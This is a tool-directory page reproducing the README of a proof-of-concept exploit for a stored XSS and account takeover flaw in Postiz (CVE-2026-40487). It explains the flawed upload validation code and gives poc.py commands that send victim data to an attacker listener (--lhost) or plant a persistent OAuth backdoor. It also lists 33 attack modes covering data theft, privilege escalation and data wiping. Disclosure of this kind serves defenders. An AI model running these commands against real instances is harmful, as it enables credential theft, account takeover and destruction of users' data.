Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-40487 — Proof-of-concept exploit for CVE-2026-40487, demonstrating arbitrary file upload via MIME spoofing leading to stored XSS and account takeover in Postiz. Includes multiple attack modes for data exfiltration, privilege escalation, and persistence. | Kitploit
Tools/GitHubGitHub/astaruf/cve-2026-40487
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Proof-of-concept exploit for CVE-2026-40487, demonstrating arbitrary file upload via MIME spoofing leading to stored XSS and account takeover in Postiz. Includes multiple attack modes for data exfiltration, privilege escalation, and persistence.

View Repository
375 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-40487 - Postiz <= 2.21.5 - Arbitrary File Upload via MIME-Type Spoofing to Stored XSS to Account Takeover

Discovered & reported by: Astaruf

Full writeup: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

GHSA entry: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-40487


Summary

Postiz is an open-source social media management tool with 28+ platform integrations (Instagram, X, LinkedIn, Facebook, TikTok, etc.), used by 600+ instances exposed on the internet.

A low-privileged attacker can upload a malicious SVG (or HTML) file with a spoofed Content-Type: image/png header. The server accepts the file without inspecting its actual content, preserves the original extension, and nginx serves it with the Content-Type derived from that extension (image/svg+xml). When a victim opens the URL, the embedded JavaScript executes in the application's origin, giving the attacker full session riding capabilities equivalent to account takeover.

The attack chain:

Attacker uploads .svg with Content-Type: image/png
  -> Server validates only the Content-Type header (CWE-345)
    -> File saved to disk with original .svg extension (CWE-434)
      -> nginx serves it as image/svg+xml
        -> Browser executes embedded JavaScript (CWE-79)
          -> Same-origin: full access to victim's session

Impact

The XSS payload executes same-origin with the application. Even though the auth cookie is HttpOnly, fetch() with credentials: "include" automatically attaches it. The attacker can:

  • Exfiltrate the victim's profile, API keys, OAuth tokens for all connected social accounts
  • Read, create, modify, and delete scheduled posts across all platforms
  • Invite the attacker as admin in the victim's organization
  • Create a persistent OAuth backdoor (pos_* token that never expires and survives password changes)
  • Disable notifications, wipe configurations, force logout
  • Execute arbitrary authenticated API calls as the victim

Vulnerability Details

Three components fail independently, creating the exploit chain:

1. MIME-Type Validation Trusts Client Input (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype comes from the Content-Type header in the multipart request, which the attacker controls. No magic byte inspection, no use of libraries like file-type.

2. Original Extension Preserved on Disk (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extracts the extension from the client-supplied filename. No check for consistency between declared MIME type and extension. The server also returns the full public URL in the response, so the attacker gets the link to send to the victim.

3. nginx Serves with Extension-Derived Content-Type

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx maps .svg to image/svg+xml, .html to text/html. No Content-Security-Policy, no X-Content-Type-Options: nosniff, no Content-Disposition: attachment.

Proof of Concept

Requirements

Python 3.8+
pip install requests

Quick Start

# 1. Check if target is vulnerable
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltrate everything from the victim
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Create a persistent backdoor
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Reuse the token without credentials
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Attack Flow

Attacker                    Server Postiz              Victim
    |                              |                        |
    |-- 1. Login/Register -------->|                        |
    |-- 2. Upload SVG malevolo --->|                        |
    |<---- URL del file -----------|                        |
    |-- 3. Send URL to victim --------------------------->  |
    |                              |<--- 4. Opens URL ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS executes, exfils data -----------|

All Attack Modes (33)

Exfiltration (19 modes) - steal victim data
ModeDescription
dump-selfVictim profile, org info, tier, API key
dump-personalDisplay name, bio, profile picture
dump-integrationsConnected social media integrations and tokens
dump-postsScheduled and draft posts (last 365 days)
dump-teamTeam members, roles, and email addresses
dump-mediaMedia library listing
dump-notificationsNotification history
dump-signaturesPost signatures
dump-webhooksConfigured webhooks and their URLs
dump-oauth-appOAuth app credentials (clientId, secret)
dump-copilotAI copilot conversation threads
dump-billingBilling and subscription info
dump-settingsShortlink and notification settings
dump-third-partyThird-party integration configs
dump-autopostAutopost rules
dump-setsContent sets
dump-tagsPost tags
dump-customersCustomer list
full-dumpAll of the above in a single payload
Privilege Escalation (3 modes)
ModeDescription
add-adminInvite attacker as ADMIN in victim's org (--attacker-email)
rotate-keyRotate org API key and exfiltrate it
rotate-oauthRotate OAuth app secret and exfiltrate it
Sabotage (9 modes) - destructive actions
ModeDescription
kill-notificationsDisable all email notifications
edit-profileModify victim's name and bio (--edit-name, --edit-bio)
wipe-signaturesDelete all post signatures
wipe-webhooksDelete all webhooks
wipe-tagsDelete all tags
wipe-setsDelete all content sets
wipe-autopostDelete all autopost rules
logout-victimForce-logout the victim
delete-oauth-appDelete victim's OAuth application
Backdoor (2 modes) - persistent access
ModeDescription
create-oauth-appCreate OAuth app, auto-approve, exfiltrate persistent pos_* token (--oauth-redirect)
steal-cookieSteal auth JWT via document.cookie (when NOT_SECURED=true)
Generic (2 modes) - advanced
Download Tool